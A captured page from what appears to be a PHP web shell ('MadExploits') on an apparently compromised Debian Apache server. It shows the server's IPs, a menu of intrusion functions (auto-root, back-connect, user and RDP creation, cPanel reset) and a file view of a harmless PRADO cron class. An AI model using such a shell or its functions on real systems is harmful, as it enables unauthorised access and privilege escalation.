Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.140.185.250
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
Cron /
[ HOME SHELL ]
Name
Size
Permission
Action
TCronMethodTask.php
2.88
KB
-rw-r--r--
TCronModule.php
19.51
KB
-rw-r--r--
TCronTask.php
5.39
KB
-rw-r--r--
TCronTaskInfo.php
3.61
KB
-rw-r--r--
TDbCronCleanLogTask.php
2.04
KB
-rw-r--r--
TDbCronModule.php
29.29
KB
-rw-r--r--
TShellCronAction.php
5.24
KB
-rw-r--r--
TShellCronLogBehavior.php
3.6
KB
-rw-r--r--
TShellDbCronAction.php
5.68
KB
-rw-r--r--
TTimeScheduler.php
22.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TDbCronCleanLogTask.php
<?php /** * TDbCronCleanLogTask class file. * * @author Brad Anderson <belisoful@icloud.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util\Cron; use Prado\Shell\TShellWriter; use Prado\TPropertyValue; use Prado\Exceptions\TInvalidDataValueException; use Prado\Util\Cron\TCronModule; /** * TDbCronCleanLogTask class. * * TDbCronCleanLogTask Cleans the cron log of old entries older than the * age of {@link getTimePeriod} seconds. * * @author Brad Anderson <belisoful@icloud.com> * @since 4.2.0 */ class TDbCronCleanLogTask extends TCronTask { /** * @var int the time period in seconds of valid log items, default 28 days. */ private $_timeperiod = 2419200; //86400 seconds/day * 28 days /** * This clears the log of the TDBCronModule specified by the ModuleId, * or if none specified, then the cron executing this task. * @param TDbCronModule $cron */ public function execute($cron) { if ($mid = $this->getModuleId()) { $cron = $this->getApplication()->getModule($mid); if ($cron === null) { throw new TInvalidDataValueException('dbcronclean_moduleid_is_null', $mid); } } if (is_object($cron) && $cron instanceof \Prado\Util\Cron\TDbCronModule) { $count = $cron->clearCronLog($this->getTimePeriod()); if ($cron->asa(TCronModule::SHELL_LOG_BEHAVIOR)) { $cron->getOutputWriter()->writeLine("Cleared {$count} Cron Task Logs", TShellWriter::GREEN); } } elseif (is_object($cron) && $cron->asa(TCronModule::SHELL_LOG_BEHAVIOR)) { /** @var TCronModule $cron */ $cron->getOutputWriter()->writeLine("No DB Cron Module to clean", TShellWriter::RED); } } /** * @return int number of seconds, before which cron logs are to be deleted */ public function getTimePeriod() { return $this->_timeperiod; } /** * * @param int $timeperiod number of seconds, before which cron logs are to be deleted */ public function setTimePeriod($timeperiod) { $this->_timeperiod = TPropertyValue::ensureInteger($timeperiod); } }
Close